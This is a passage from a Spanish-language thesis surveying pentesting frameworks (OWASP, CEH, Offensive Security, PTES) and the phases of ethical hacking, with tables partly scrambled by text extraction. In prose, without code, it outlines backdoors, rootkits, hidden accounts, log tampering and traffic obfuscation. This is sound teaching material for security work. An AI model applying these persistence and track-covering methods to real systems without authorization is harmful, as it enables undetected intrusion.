5 correlacion de impactoy laseveridad de las vulnerabilidades. Se correlacionan los

resultados datos para identificar patrones y evaluar el riesgo global.

inf Informe detallado que describe las vulnerabilidades encontradas, el
nrorme y . . . .
6 ) impacto potencial, y se proporcionan recomendaciones para
recomendaciones - )
mitigar los riesgos.

Revision exhaustiva de las acciones tomadas en base a las
Revision y recomendaciones. Se valida que las mitigaciones hayan sido
validacién implementadas correctamente y que los riesgos hayan sido

adecuadamente gestionados.

Fuente: (Zuluaga Mateus , 2017)

4.1.2. OWASP (Open web application security project)

Proyecto Abierto de Seguridad en Aplicaciones Web (OWASP, por sus siglas en inglés) es una
organizacion global sin fines de lucro que promueve el desarrollo de herramientas destinadas a

evaluar la seguridad de software en aplicaciones web.
OWASP ASVS (Application security verification standard)

El Estandar de Verificacion de Seguridad de Aplicaciones (ASVS) es un marco de requisitos de
seguridad disefiado para proporcionar una guia detallada sobre como verificar la seguridad de
las aplicaciones web, asegurando que cumplan con un conjunto de controles y practicas
recomendadas. El objetivo principal del ASVS es ayudar a los desarrolladores, arquitectos,
evaluadores de seguridad y organizaciones a construir y mantener aplicaciones y servicios webs

seguros. (Chancusig Chancusig , 2021)
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Este estandar se utiliza para establecer un nivel de confianza en la seguridad de las aplicaciones
web. Los requisitos fueron desarrollados por OWASP ASVS con los siguientes objetivos a

considerar (OWASP, 2024a):

. Usar como métrica: Ofrecer a los desarrolladores y propietarios de aplicaciones una
referencia para evaluar el nivel de confianza que pueden tener en la seguridad de sus

aplicaciones web.

o Usar como guia: Proporcionar orientacion a los desarrolladores sobre qué elementos
deben incluir en los controles de seguridad para cumplir con los requisitos de seguridad de las

aplicaciones.

. Usar durante la adquisicion: Servir como base para especificar los requisitos de

verificacion de seguridad de las aplicaciones en los contratos.
Niveles de verificacion en OWASP ASVS

. Nivel 1: Este nivel esta dirigido a cualquier tipo de software y cubre los requisitos de

seguridad bésicos que toda aplicacion deberia cumplir.

. Nivel 2: Este nivel estd orientado a aplicaciones que manejan datos sensibles y
requieren una proteccion adecuada. Incluye requisitos adicionales y mas detallados en

comparacion con el nivel 1.

. Nivel 3: Este nivel estd disefiado para las aplicaciones mas criticas que gestionan
transacciones de alto valor, contienen datos médicos confidenciales o requieren el mas alto
grado de confianza. Los requisitos en este nivel son los mas rigurosos y detallados,

proporcionando el mas alto grado de seguridad.
OWASP Top Ten

El OWASP Top 10 es un documento estandar de sensibilizacion dirigido a desarrolladores y
profesionales de la seguridad de aplicaciones web. Este documento refleja un consenso general
sobre los riesgos de seguridad mas criticos para las aplicaciones web. Se inici6 en 2003 con el
proposito de proporcionar a las organizaciones y a los desarrolladores un punto de partida para

el desarrollo seguro. A lo largo de los afios, se ha convertido en un pseudoestandar utilizado
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como referencia para el cumplimiento normativo, la educacién y las herramientas de los

proveedores.

El ultimo documento emitido en 2021 actualizo el OWASP Top 10 de 2017, reordenando las
categorias segun el nivel de amenaza. En esta nueva version, se afladieron tres categorias nuevas

y se realizaron cambios en el nombre y alcance de cuatro categorias existentes.

2017
A01:2017-Injection
A02:2017-Broken Authentication
A03:2017-Sensitive Data Exposure
A04:2017-XML External Entities (XXE)
A05:2017-Broken Access Control
A06:2017-Security Misconfiguration
A07:2017-Cross-Site Scripting (XSS)
A08:2017-Insecure Deserialization
A09:2017-Using Components with Known Vulnerabilities
A10:2017-Insufficient Logging & Monitoring

2021

A01:2021-Broken Access Control
’ A02:2021-Cryptographic Failures
T A03:2021-Injection
(New) A04:2021-Insecure Design
A05:2021-Security Misconfiguration
A06:2021-Vulnerable and Outdated Components
“\ AD7:2021-Identification and Authentication Failures
{New) A08:2021-Software and Data Integrity Failures
> A09:2021-Security Logging and Monitoring Failures*

(New) A10:2021-Server-Side Request Forgery (SSRF)*

v

—_—

* From the Survey

Figura 4.2 OWASP Top 10 - 2021

OWASP Web Security Testing Guide (WSTG)

La Guia de Pruebas de Seguridad Web OWASP (OWASP Web Security Testing Guide, WSTG)
es un recurso integral de codigo abierto para probar la seguridad de aplicaciones web y servicios
web. Proporciona un marco de mejores practicas que los pentesters y las organizaciones de todo
el mundo utilizan para realizar pruebas de penetracion efectivas, actualmente el documento se
encuentra en su version 4.2 y puede ser descargado desde su sitio web (OWASP, 2024b). Dentro
de OWASP Testing Guide V4 se definen 11 puntos principales para realizar pruebas de
penetracion y analizar vulnerabilidades en aplicaciones web. Estos puntos, denominados
Categorias de Pruebas de OWASP (OTG), abarcan un amplio espectro de aspectos criticos para
la seguridad, desde la recopilacion de informacidn hasta la evaluacion del codigo del lado del

cliente.

Tabla 2.4 Categorias OWASP Testing Guide V4.

N° Nombre Descripcion
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Recopilacion de informacion
(OTG-INFO)

Gestion de la configuracion y
la implementacion (OTG-
CONFIG)

Gestion de identidades (OTG-
IDENT)

Autenticacion (OTG-AUTHN)

Autorizacion (OTG-AUTHZ)

Gestion de sesiones (OTG-
SESS)

Validacion de entradas (OTG-
INPVAL)

Recopilacion de toda la informacién posible sobre la
aplicacion web, su entorno y los activos relacionados,

incluyendo informacion publica y privada.

Evaluacién de la configuracion e implementacion de
la aplicacion web y su entorno, revisando las
configuraciones del servidor web, del sistema
operativo y de la base de datos, y los procesos de

implementacion y despliegue.

Evaluacion de los mecanismos de autenticacion y
autorizacion, revisando los procesos de registro e
inicio de sesidn, la gestion de contrasefias y el control

de acceso basado en roles (RBAC).

Evaluacion especifica de los mecanismos de
autenticacion, incluyendo la fuerza de las contrasefias,
el uso de MFA vy la resistencia a ataques como el

relleno de credenciales.

Evaluacion de los mecanismos de autorizacion,
revisando las politicas de control de acceso, la gestion
de roles y permisos, y la proteccion contra la escalada

de privilegios.

Evaluacion de la gestion de las sesiones de usuario,
revisando la gestion de tokens de sesion, la proteccion
contra la fijacién de sesiones y la prevencion del

secuestro de sesiones.

Evaluacion de la validacion de las entradas de los
usuarios, revisando la validacion de datos de
formularios, la proteccidn contra ataques de inyeccién

de cddigo y la desinfeccion de salidas.
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Evaluacion de la gestion de errores, revisando el
) registro de errores, la proteccion contra la divulgacion

8 Manejo de errores (OTG-ERR) _ _, ] .
de informacion sensible y la prevencion de errores

fatales que puedan ser explotados.

Evaluacion del uso de la criptografia, revisando el
] ] cifrado de datos, la gestion de claves criptograficas y

9  Criptografia (OTG-CRYPST) y _
la proteccion contra ataques como el descifrado de

contrasefias.

Evaluacion de la logica de negocio, revisando las
Pruebas de légica de negocio reglas de negocio, la validacion de datos y la

10
(OTG-BUSLOGIC) proteccién contra ataques como la l6gica de negocio
corrupta.
Evaluacion de la seguridad del cédigo del lado del
1 Pruebas del lado del cliente cliente, revisando las vulnerabilidades de JavaScript,

(OTG-CLIENT) la proteccion contra ataques XSS y la validacién de

entradas del lado del cliente.

Fuente: (Caballero, Vazquez, Diaz, & Linares, 2020)

OWASP SAMM (Software assurance maturity model) Es un modelo eficaz y medible cuyo
objetivo es guiar a las organizaciones a disefar, desarrollar e implementar softwares seguros
que van acorde a sus necesidades. Este modelo facilita la evaluacion de las practicas de
seguridad actuales, la creacion de un programa equilibrado con iteraciones definidas, la
demostracion de mejoras en el software y la definicion de actividades relacionadas con la

seguridad.

Owasp zap (Zed attack proxy) Es una herramienta gratuita y de codigo abierto para probar la
seguridad de aplicaciones web. ZAP se utiliza para encontrar vulnerabilidades en aplicaciones
web durante el desarrollo y pruebas. Su principal caracteristica es que funciona como un proxy,
interceptando y modificando el trafico entre el servidor y el navegador. Entre otras
funcionalidades se destacan. (Santiago Diaz, Rubin Linares, Zenteno Vazquez, Romero

Hernéndez, & Pérez Marcial, 2021)
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o Interceptacion de trdfico: Intercepta todas las peticiones y respuestas, permitiendo

analizarlas y modificarlas.

. Puntos de ruptura: Se pueden establecer puntos de ruptura en el trafico para cambiar

peticiones y respuestas sobre la marcha.

. Analisis activo de vulnerabilidades: Realiza ataques conocidos contra las aplicaciones

web para detectar vulnerabilidades potenciales.

. Analisis pasivo de vulnerabilidades: Realiza un andlisis pasivo de vulnerabilidades sin

modificar las respuestas ni ralentizar la exploracion.

. Deteccion automatica de recursos (Spider) Identifica automaticamente nuevos recursos

(enlaces) a partir de una lista inicial, repitiendo el proceso de forma recursiva.
4.1.3. CEH (Certified ethical hacker)

Es una certificacion profesional reconocida internacionalmente que otorga el Consejo
Internacional de Consulta de Comercio Electronico (EC-Council), que valida las habilidades y
conocimientos de un individuo en el hacking ético. Estd disenada para aquellos que desean
demostrar su capacidad para identificar y explotar vulnerabilidades de seguridad en sistemas

informaticos de manera legal y responsable, con el objetivo de mejorar su seguridad.

Las fases que usa la metodologia que se presentan en el certificado CEH son las siguientes:

o Adquisicién

o Identificacién

o Analisis

° Evaluacién y generacion de reportes

4.1.4. Offensive security

Es una empresa estadounidense lider en el ambito de la seguridad informatica, se especializa
en analisis forense digital, seguridad de la informacién y pruebas de penetracion. Es reconocida
a nivel mundial por su desarrollo de herramientas, cursos avanzados y proyectos de codigo

abierto, de los cuales destacan:
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. Exploit database (ExploitBD) Una completa base de datos de vulnerabilidades que

proporciona informacién detallada sobre exploits, codigos de prueba de concepto y soluciones.

. Kali linux: Un sistema operativo de codigo abierto preinstalado con una amplia gama

de herramientas de seguridad para pruebas de penetracion, analisis forense y auditoria de redes.

Por otro lado, Offensive Security también es una metodologia desarrollada por la empresa del
mismo nombre. Esta metodologia se centra en la realizar continuas pruebas de seguridad como
estrategia clave para mitigar vulnerabilidades. El enfoque de Offensive Security es proactivo,
ya que busca identificar y abordar posibles debilidades antes de que los atacantes puedan
explotarlas. A través de un ciclo continuo de pruebas, andlisis y correccion, las organizaciones
que optan por usar esta metodologia pueden mantener una postura de seguridad robusta y
preventiva. Las pruebas que se realizan con esta metodologia suelen tener un alto nivel de
irrupcion en sistemas o redes, debido a que se replica el escenario desde el punto de vista de un
atacante real. Ademas, de que se evitan la toma de decisiones basados en estadisticas para

mitigar vulnerabilidades.

Al igual que otras metodologias de pruebas de penetracion, esta sigue un procedimiento en

varias fases, las cuales se describen en la siguiente tabla:

Tabla 4.5 Fases de la metodologia offensive security.

Fases Descripcion

Esta fase implica recopilar la mayor cantidad de

» _ . informacion posible sobre el objetivo; IP publicas, nombre
Recoleccion de informacion ) _ _ o

de servidores, sistemas operativos, aplicaciones web,

firewall, entre otros

Dentro de esta fase Offensive Security cuenta con un gran
conjunto de herramientas para realizar analisis de
Analisis de vulnerabilidades vulnerabilidades, entre las que se encuentran el sistema
operativo Kali Linux, Nessus, Parrot, BlackArch Linux,

entre otros.
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Se procede a la seleccibn de los objetivos mas

prometedores para un ataque exitoso. Estos objetivos,

L o denominados objetivos primarios, se eligen en funcion del

Definicion  de  objetivos ) o _ ]

_ porcentaje de éxito previsto segun los resultados del
secundarios o ) B

andlisis. Sin embargo, es crucial establecer también un

conjunto de objetivos secundarios para cubrir la

eventualidad de que el ataque a los primarios falle.

En esta etapa se procede a la explotacion de las
vulnerabilidades identificadas en la fase previa de anélisis.
El objetivo es verificar con precision el nivel de exposicion

Ataque real del sistema objetivo y determinar si las
vulnerabilidades detectadas pueden ser efectivamente
explotadas para obtener acceso no autorizado o
comprometer la integridad de los datos.

La Gltima etapa comprende el analisis de los resultados
obtenidos, pero al mismo tiempo, significa el reinicio de
Anélisis de resultados las fases de la metodologia. El ciclo solo se puede detener
si ya se han comprobado la culminacion de las pruebas

documentando todos los procesos que se realizaron.

4.1.5. PTES (Penetration testing execution standard)

El Estandar de Ejecucion de Pruebas de Penetracion (PTES) se presenta como un marco
metodoldgico especializado para la realizacion de pruebas de penetracién o pentesting. Estas
pruebas, también son conocidas como auditorias internas de seguridad, tienen como objetivo
evaluar la robustez y resistencia de los sistemas informaticos de empresas y proveedores de
servicios de seguridad (Araujo Robalino, 2024). El estandar proporciona una estructura y pautas
necesarias que se agrupan en una serie de fases que van desde la planificacion, pruebas de

penetracion, mitigacion de vulnerabilidades y presentacion de informes.

El estandar desarrolla el proceso de prueba de penetracion en una serie de 7 fases:
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Tabla 4.6 Fases de la metodologia PTES.

NO

1

Fase

Interaccidn previa

Recopilacion

informacion

de

Descripcion

Implica la planificacioén y definicidon del alcance de la prueba de
penetracion e interacciones con el cliente antes de realizar la
prueba. Se establecen expectativas claras para asegurar que todas

las partes involucradas estén alineadas.

. Objetivos y alcance: Definir los objetivos de la prueba,

qué se probard, los limites y las reglas de compromiso.

o Legalidad y acuerdos: Firmar acuerdos de no divulgacion

(NDA) y obtener permisos necesarios.

. Expectativas: Establecer los resultados esperados y los

informes que se entregaran.

En esta fase se recolecta toda la informacién posible sobre el
objetivo, utilizando tanto fuentes publicas como privadas. Esta
fase estd dividida en 2 subprocesos de recopilacion de

informacion:

. External  Footprinting: La primera detalla el
procedimiento seguido para recolectar informaciéon de manera

externa a la organizacion.

. Internal Footprinting: Se concentra en la explotacion tras
la intrusion inicial, donde el atacante busca maximizar la
informacion obtenida para expandir su alcance a otros sistemas

dentro de la organizacion.
Tipos de informacion a recopilarse:

° Informacidn Fisica

93| Pagina



Modelo

amenazas

de

o Informacién Logica

° Informacion Electronica
) Activos de Infraestructura
) Informacion Financiera

Informaciéon de Empleados

El modelado de amenazas es un proceso en el cual se identifican,
enumeran y priorizan las amenazas potenciales desde la
perspectiva de un atacante. El enfoque descrito en el PTES no
prescribe un modelo especifico, pero exige que cualquier modelo
utilizado sea coherente en la representacion de amenazas,
capacidades, y en su aplicabilidad repetida. El modelo debe

centrarse en dos elementos clave:

o Los activos (divididos en activos y procesos comerciales).

o Los atacantes (divididos en comunidades de amenazas y

sus capacidades)

El modelado debe incluir aspectos de la motivacion del atacante,
considerando el valor de los activos y el coste de adquirirlos.
También se debe realizar un modelo de impacto para la
organizacion, evaluando el valor neto de los activos y los costes

indirectos asociados a su pérdida.

El proceso de modelado de amenazas incluye cuatro pasos:

o Reunir documentacion relevante.
o Identificar y categorizar activos primarios y secundarios.
o Identificar y categorizar comunidades de amenazas.
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5

Andlisis

vulnerabilidades

Explotacion

de

o Asignar comunidades de amenazas a activos primarios y

secundarios.

El anélisis de vulnerabilidades es el proceso de identificar estas
debilidades en sistemas y aplicaciones que un atacante podria
explotar. Estas debilidades pueden ser desde configuraciones
incorrectas hasta disefios de aplicaciones inseguras. Aunque el
enfoque para encontrar debilidades varia segun el componente a
probar, hay elementos comunes en el proceso. El andlisis de
vulnerabilidades se enfoca en examinar estos datos para
identificar comportamientos sospechosos o informacion

confidencial que pueda indicar una vulnerabilidad.

La fase de analisis de vulnerabilidades se puede estructurar en

tres actividades:

° Prueba
o Validacion
o Investigacion

La fase de explotacién en una prueba de penetracion implica
obtener acceso a un sistema o recurso superando las medidas de
seguridad existentes. El éxito de esta fase dependerd de la
correcta ejecucion de las fases anteriores, esta etapa debe
planificarse meticulosamente para llevar a cabo un ataque
preciso, considerando la probabilidad de éxito y maximizando el

impacto en la organizacion objetivo.

Es importante destacar que el valor de la fase de explotacién no
radica en ataques bruscos y ruidosos que prueban todos los
exploits posibles. Aunque este enfoque puede ser Gtil al final de

una prueba de penetracién para evaluar la capacidad de respuesta
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7

Post-explotacién

Informes

a incidentes de la organizacion, en la mayoria de los casos, la fase
de explotacién implica la aplicacion de un ataque preciso basado

en una investigacion especifica acumulada sobre el objetivo.

La fase de post-explotacion en una prueba de penetracion implica
evaluar el valor de la maquina comprometida y mantener el
control sobre ella. El valor se determina por la sensibilidad de los
datos almacenados y su capacidad para comprometer la red a la

que pertenece.

Esta fase incluye:

o Identificacion y documentacion de datos confidenciales,
Configuraciones,

. Canales de comunicacion,

. Relaciones con otros dispositivos de red,

. Configuracion de métodos para acceder nuevamente a la

maquina comprometida.

A través de estas técnicas, se realiza un proceso de recopilacion
de datos y mapeo interno, escalando el ataque a otros sistemas de
la red hasta alcanzar los objetivos de la auditoria. Durante esta
fase, la interaccion con la infraestructura del cliente es intensa,
por lo que es crucial seguir las reglas de compromiso acordadas
para evitar riesgos innecesarios. Estas reglas aseguran que los
sistemas del cliente no se expongan a peligros innecesarios y que
se sigan procedimientos acordados mutuamente durante la fase

de post-explotacion.

La fase final implica documentar todos los hallazgos y presentar

un informe detallado.
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. Documentacion: Crear un informe detallado que describa
las vulnerabilidades encontradas, las técnicas utilizadas y el

impacto potencial.

. Recomendaciones: Proporcionar recomendaciones para

mitigar las vulnerabilidades identificadas.

. Presentacion: Presentar los hallazgos al cliente de manera

comprensible y accionable.

4.2. Metodologia general de hacking

4.2.1. Reconocimiento

La fase de reconocimiento, también conocida como recopilacion de informacion o
"footprinting", es el primer paso en el hacking ético. En esta fase, el hacker ético busca obtener
la mayor cantidad de informacién posible sobre el objetivo. Esta informacién puede incluir
datos sobre la infraestructura de red, sistemas operativos, aplicaciones, empleados y otros
detalles relevantes que puedan ser utilizados en fases posteriores. El objetivo del
reconocimiento es obtener una vision completa y precisa de la red o sistema que se va a analizar,
de manera que se puedan identificar posibles vulnerabilidades y puntos débiles. Esta
informacion es esencial para planificar y llevar a cabo evaluaciones de seguridad de manera
efectiva, asegurando que se cumplan los objetivos de la auditoria sin causar dafios o

interrupciones innecesarias.
Objetivos del reconocimiento:

o Obtener una vision completa: Recopilar informacion detallada sobre la infraestructura

del objetivo.

. Identificar vulnerabilidades: Descubrir puntos débiles que puedan ser explotados en

fases posteriores.

. Planificacion de ataques: Preparar un plan de accién basado en la informacion

recopilada.
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Tipos para reconocimiento

Reconocimiento activo: Es la recopilacion de informacion interactuando directamente con el
objetivo, lo que aumenta el riesgo de ser detectado. Este tipo de reconocimiento implica realizar
un sondeo y extraer datos mas técnicos sobre el sistema como el tipo de sistema operativo,
direcciones IP, servicios, o puertos abiertos, entre otros elementos, que se estén ejecutando en

la red. (Medina Rojas & Edwin Ferney, 2015)
Técnicas de reconocimiento activo

. Escaneo de puertos: Envio de paquetes de solicitud a diferentes puertos en una direccion

IP para identificar cudles estan abiertos y aceptan conexiones.

. Escaneo de vulnerabilidades: Uso de herramientas como Nessus o OpenVAS para

identificar posibles vulnerabilidades conocidas en sistemas y aplicaciones.

. Enumeracion de usuvarios: Identificacion de usuarios validos en un sistema mediante

técnicas como el escaneo LDAP o el uso de diccionarios de nombres de usuario.

. Ping sweep: Envio de solicitudes de ping a un rango de direcciones IP para determinar

cuales estan activas.

. Banner grabbing: Obtencion de informacion adicional sobre los servicios que se

ejecutan en un sistema mediante la lectura de los banners de servicio.

o Escaneo de firewall: Identificacion de reglas y configuraciones de firewall para
comprender posibles brechas.

Reconocimiento pasivo: Es la recopilacion de informacion sobre un objetivo sin tener que
interactuar directamente con él. Este tipo de reconocimiento puede realizarse de diversas
maneras, sin embargo, la forma mas eficaz de buscar informacién es haciéndolo a través de la

web (Medina Rojas & Edwin Ferney, 2015).
Este tipo de reconocimiento incluye varias técnicas:
Técnicas de reconocimiento pasivo

o Motores de busqueda: Uso de motores de biisqueda para descubrir informacion publica

sobre una organizacion o sistema.
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o Redes aociales e ingenieria social: Recopilacion de informacion compartida en redes

sociales por empleados o miembros de una organizacion.

o Anadlisis de sitios web publicos: Examen de los sitios web publicos de una organizacion
para obtener informacion sobre su estructura, tecnologias utilizadas, personal, socios y otros

detalles relevantes.

. Escaneo de subdominios: Enumeraciéon de subdominios para descubrir activos

relacionados con la organizacion.

. Monitoreo de red: Observacion del trafico de red para recopilar informacion sobre

sistemas y servicios en uso.

o Enumeracion de DNS: Recopilacion de datos sobre servidores DNS, registros de

dominio y resolucion de nombres.
4.2.2. Escaneo

La fase de escaneo busca activamente identificar vulnerabilidades y puntos de entrada
potenciales en un sistema o red objetivo. En esta etapa, se aprovecha la informacion recopilada
durante la fase de reconocimiento para explorar en profundidad el sistema o red objetivo.
Utilizando herramientas y técnicas especificas, se esperan obtener detalles més precisos y
especificos, revelando vulnerabilidades que podrian ser explotadas posteriormente. De esta
manera, el escaneo se convierte en una extension del reconocimiento activo, permitiendo al

auditor avanzar hacia la siguiente fase con mayor precision y conocimiento.

El objetivo del escaneo es obtener una comprension detallada de la superficie de ataque,
identificar servicios expuestos y descubrir debilidades que puedan ser explotadas en fases

posteriores.

Objetivos del escaneo: Identificacion de puertos y servicios: Detectar puertos abiertos y

servicios en ejecucion en los sistemas.

o Deteccion de vulnerabilidades: Identificar vulnerabilidades conocidas en sistemas y
aplicaciones.
. Mapeo de la red: Comprender la topologia de la red y las relaciones entre dispositivos.
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o Recopilacion de informacion técnica: Obtener detalles técnicos precisos sobre el

objetivo, como versiones de software y configuraciones especificas.

Técnicas para Escaneo

Escaneo de puertos: Es una técnica fundamental que implica enviar paquetes a los puertos de

un sistema objetivo para identificar cuales estan abiertos y qué servicios estan escuchando.
Tipos de escaneo de puertos

o Escaneo TCP connect: Establece una conexion completa con cada puerto, lo que permite
identificar los puertos abiertos y los servicios que se ejecutan en ellos. Es fiable pero mas facil

de detectar.

. Escaneo SYN (Half-Open) Envia paquetes SYN y espera respuestas SYN-ACK. No

completa la conexion, lo que lo hace mas sigiloso.

. Escaneo UDP: Envia paquetes UDP a los puertos y espera respuestas ICMP. Es mas

dificil de realizar debido a la falta de respuestas claras.

. Escaneo ACK: Utilizado para mapear las reglas de firewall y determinar si los puertos

estan filtrados.

o Escaneo FIN, Xmas y Null: Técnicas avanzadas para evadir detecciones y firewalls

enviando paquetes con distintas banderas configuradas.

o Escaneo de vulnerabilidades: El escaneo de vulnerabilidades implica el uso de
herramientas automatizadas para identificar debilidades conocidas en sistemas y aplicaciones,
este paso es vital para encontrar las brechas que pueden ser explotadas por atacantes

malintencionados.
Herramientas de escaneo de vulnerabilidades:

Nessus: Una de las herramientas de escaneo mas populares que ofrece una amplia gama de

plugins para detectar vulnerabilidades.

. OpenVAS: Una plataforma de escaneo de cddigo abierto que proporciona un analisis

detallado de vulnerabilidades.
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o QualysGuard: Una solucidn de escaneo en la nube que proporciona informes detallados

sobre vulnerabilidades.

o Nikto: Un escaner de servidores web que identifica configuraciones inseguras y

vulnerabilidades conocidas.

Enumeracion de servicios: La enumeracion de servicios es el proceso de identificar los
servicios en ejecucion y obtener informacion detallada sobre ellos, como versiones de software
y configuraciones. Esta informacion es crucial para entender como interactuan los distintos

componentes del sistema.
Técnicas de EnumeracionBanner:

o Grabbing: Captura de banners de servicio para identificar versiones de software y

sistemas operativos.

. Enumeracion SNMP: Utilizacion del Protocolo Simple de Gestion de Red (SNMP) para

obtener informacion sobre dispositivos y configuraciones.

o Enumeracion LDAP: Recopilacién de informacion de servidores LDAP, incluyendo

nombres de usuario y detalles de la red.

. Enumeracion SMB: Uso del protocolo SMB para obtener informacion sobre recursos

compartidos y usuarios en sistemas Windows.

Escaneo de red: El escaneo de red implica mapear la topologia de la red e identificar
dispositivos conectados, sus configuraciones y relaciones. Esta técnica es fundamental para

obtener una vision completa de la infraestructura del objetivo.
Herramientas de escaneo de red:

o Nmap: Una herramienta poderosa para escaneo de puertos, deteccion de sistemas

operativos y mapeo de red.

o Angry IP scanner: Una herramienta rdpida para escanear rangos de IP y obtener

informacion sobre hosts activos.
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o Netcat: Utilizado para leer y escribir datos a través de conexiones de red, util para

pruebas y escaneos personalizados.

o Fping: Herramienta para enviar multiples paquetes ICMP y determinar la disponibilidad

de hosts.

Escaneo de firewall y evasion: El escaneo de firewall se utiliza para identificar las reglas de
firewall y detectar puertos filtrados. La evasion implica técnicas para evitar la deteccion durante

el escaneo.
Técnicas de escaneo de firewall:

o Fragmentacion de paquetes: Dividir el trafico de escaneo en paquetes mas pequenos

para evitar la deteccion.

o Escaneo tunelado: Uso de protocolos no estandar o cifrados para ocultar el trafico de
escaneo.
o Escaneo proxy: Uso de servidores proxy para enmascarar la fuente del escaneo.

4.2.3. Conseguir acceso

La fase de conseguir acceso en el hacking ético implica utilizar las vulnerabilidades
identificadas durante el escaneo y la informacion recolectada en el reconocimiento para
infiltrarse en el sistema objetivo. Los métodos empleados en esta fase pueden variar desde
exploits técnicos hasta técnicas de ingenieria social, buscando siempre obtener control sobre el
sistema objetivo. El objetivo final es demostrar la posibilidad de una intrusion sin causar dafios

permanentes.

Objetivos de conseguir acceso:

. Explotar vulnerabilidades: Utilizar las debilidades descubiertas para ganar acceso no
autorizado.
. Demostrar riesgos: Mostrar como un atacante podria aprovechar las vulnerabilidades

para comprometer el sistema.

. Evaluar defensas: Probar la eficacia de las medidas de seguridad implementadas.
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Técnicas para conseguir acceso

Explotacion de vulnerabilidades: El uso de exploits es una técnica comun en esta fase, donde
se aprovechan fallos en el software o hardware del sistema objetivo. Los exploits pueden ser de

varios tipos, dependiendo de la naturaleza de la vulnerabilidad.
Tipos de explotaciones:

o Explotacion de buffer overflow: Aprovecha errores en la gestion de memoria para

ejecutar codigo arbitrario.

o Inyecciones SQL: Inserta codigo SQL malicioso a través de entradas no sanitizadas para

acceder a bases de datos.

. Cross-Site scripting (XSS) Inyecta scripts maliciosos en paginas web vistas por otros
usuarios.
o Explotacion de deserializacion: Utiliza datos deserializados no seguros para ejecutar

codigo malicioso.

Ingenieria social: La ingenieria social es una técnica que se basa en manipular
psicologicamente a las personas para obtener informacion confidencial o acceso a sistemas.
Este método es extremadamente efectivo ya que explota el factor humano, a menudo el eslabon

mas débil en la seguridad.
Técnicas de ingenieria social:

o Phishing: Envio de correos electronicos fraudulentos que parecen provenir de fuentes

confiables para obtener credenciales de usuario.

o Pretexting: Creacion de un escenario falso para engafiar a la victima y obtener

informacioén valiosa.

. Baiting: Uso de sefiuelos fisicos o digitales, como dispositivos USB infectados, para

comprometer sistemas.

. Spear phishing: Phishing dirigido a individuos especificos con informacion

personalizada para aumentar la probabilidad de éxito.
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o Phishing y spear phishing: Estas técnicas implican el uso de correos electronicos
engafiosos para obtener informacion confidencial de los usuarios. Mientras que el phishing se
dirige a un amplio grupo de personas, el spear phishing es un ataque mas dirigido y

personalizado.
4.2.4. Mantener el acceso

En la fase de mantener el acceso, el hacker ético asegura que su acceso al sistema o red
comprometido se pueda sostener durante un periodo prolongado sin ser detectado. Esto es

importante para realizar una evaluacion continua y para simular las acciones de un atacante

persistente. La fase implica la instalacion de backdoors, rootkits y otros mecanismos de

persistencia que permiten al atacante retener el control del sistema.

Objetivos de mantener el acceso:

o Persistencia: Asegurar el acceso continuo al sistema comprometido.
o Evaluacion continua: Realizar evaluaciones adicionales sin ser detectado.
o Simulacion realista: Imitar el comportamiento de un atacante que busca permanecer en

el sistema a largo plazo.
4.2.5. Técnicas para mantener el acceso

Instalacion de backdoors: Los backdoors son métodos que permiten acceder al sistema de

manera oculta, eludiendo los mecanismos de autenticacion estandar.

Tipos de Backdoors:
. Software backdoors: Programas ocultos que permiten el acceso remoto al sistema.
o Hardware backdoors: Dispositivos fisicos conectados al sistema que proporcionan

acceso no autorizado.

. Backdoors en aplicaciones: Modificaciones en aplicaciones existentes para incluir

funcionalidades ocultas de acceso.
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o Uso de rootkits: Los rootkits son herramientas que ocultan la presencia de un atacante

en el sistema, haciendo que sus actividades sean dificiles de detectar.

Tipos de rootkits:

o Rootkits de modo usuario: Funcionan a nivel de aplicaciones y son mas faciles de
detectar.
. Rootkits de modo kernel: Funcionan a nivel del nticleo del sistema operativo, lo que los

hace mas dificiles de detectar y eliminar.

o Firmware rootkits: Infectan el firmware de dispositivos, como tarjetas de red o BIOS, y

son extremadamente dificiles de eliminar.

Cuentas de usuario ocultas: Crear cuentas de usuario adicionales con privilegios elevados que

no sean facilmente detectadas por los administradores del sistema.

Técnicas para cuentas ocultas:

o Cuentas con nombres no convencionales: Utilizacion de nombres que no levanten
sospechas.
o Modificacion de configuraciones: Alterar configuraciones del sistema para ocultar la

existencia de estas cuentas.

Tuneles encapsulados: Utilizar técnicas de encapsulacion para ocultar el trafico de red del

atacante, haciendo que sea mas dificil de detectar.

Tipos de tuneles encapsulados:

. SSH Tunneling: Utilizar el protocolo SSH para cifrar y encapsular el trafico de red.

. VPNs: Crear redes privadas virtuales para ocultar la comunicacion.

o DNS Tunneling: Utilizar el protocolo DNS para transmitir datos de forma encubierta.
4.2.5. Borrar huellas

La fase de borrar huellas es esencial para evitar la deteccion y garantizar que las actividades del

auditor no sean descubiertas por los administradores de sistemas o herramientas de seguridad.
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En esta fase, el auditor elimina cualquier rastro de su intrusion, incluyendo la modificacioén de
registros y la eliminacion de archivos que puedan delatar su presencia. Esto simula el
comportamiento de un atacante que desea permanecer oculto y evita que las defensas del

sistema se fortalezcan basandose en la intrusion detectada.

Objetivos de borrar huellas:

o Ocultar la presencia: Asegurar que no quede rastro de la intrusion en el sistema.

o Evitar la deteccion: Prevenir que los administradores o sistemas de seguridad detecten

la actividad del atacante.

o Mantener el acceso: Garantizar que las medidas de eliminacién de huellas no interfieran

con el acceso mantenido.
Técnicas para borrar huellas

Modificacion de registros (Logs) Los registros del sistema contienen informacion sobre las
actividades realizadas. Modificar o eliminar estos registros es crucial para ocultar la presencia

del atacante.
M¢étodos de modificacion de logs:

o Edicion directa de logs: Modificar los archivos de registro directamente para eliminar

entradas especificas.

o Herramientas de limpieza de logs: Utilizar herramientas automatizadas para identificar

y eliminar registros relacionados con la actividad del atacante.

o Rotacion de logs: Configurar la rotacion de logs para asegurarse de que los registros

antiguos sean eliminados o sobrescritos.

Eliminacion de archivos temporales: Eliminar cualquier archivo temporal que haya sido creado

durante la intrusion, como scripts o herramientas de hacking.
Métodos de eliminacion:

o Comandos del sistema: Utilizar comandos del sistema para eliminar archivos (e.g., rm

en Unix, del en windows).
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o Herramientas de borrado seguro: Utilizar herramientas que aseguren la eliminacion de

archivos sin posibilidad de recuperacion (e.g, shred, sdelete).

Ocultacion de actividad en red: Utilizar técnicas para ocultar el trafico de red generado durante

la intrusion, evitando que sea detectado por sistemas de monitoreo.
M¢étodos de Ocultacion:

. Uso de proxy chains: Encadenar varios proxies para enmascarar la direccion IP del

atacante.

o Ofuscacion de trafico: Modificar el trafico de red para que parezca legitimo.

